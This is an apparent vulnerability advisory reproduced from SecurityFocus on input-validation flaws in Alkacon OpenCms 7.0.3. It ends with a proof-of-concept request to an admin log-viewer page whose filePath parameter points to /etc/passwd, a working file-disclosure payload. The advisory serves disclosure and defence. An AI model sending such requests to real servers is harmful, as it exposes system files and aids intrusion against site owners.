source: https://www.securityfocus.com/bid/28152/info
Alkacon OpenCms is prone to multiple input-validation vulnerabilities, including one cross-site scripting issue and a file-disclosure issue, because the application fails to properly sanitize user-supplied input.
Attackers can exploit these issues to steal cookie-based authentication credentials, to control how the site is rendered to the user, or to obtain information that could aid in further attacks.
OpenCms 7.0.3 is vulnerable; other versions may also be affected.
http://www.example.com/opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings.jsp?
isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=true
&ok=Ok&action=save
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview
&elementname=undefined&page=page1&style=new
&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings
&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0=UTF-8
&filePath.0=%2Fetc%2Fpasswd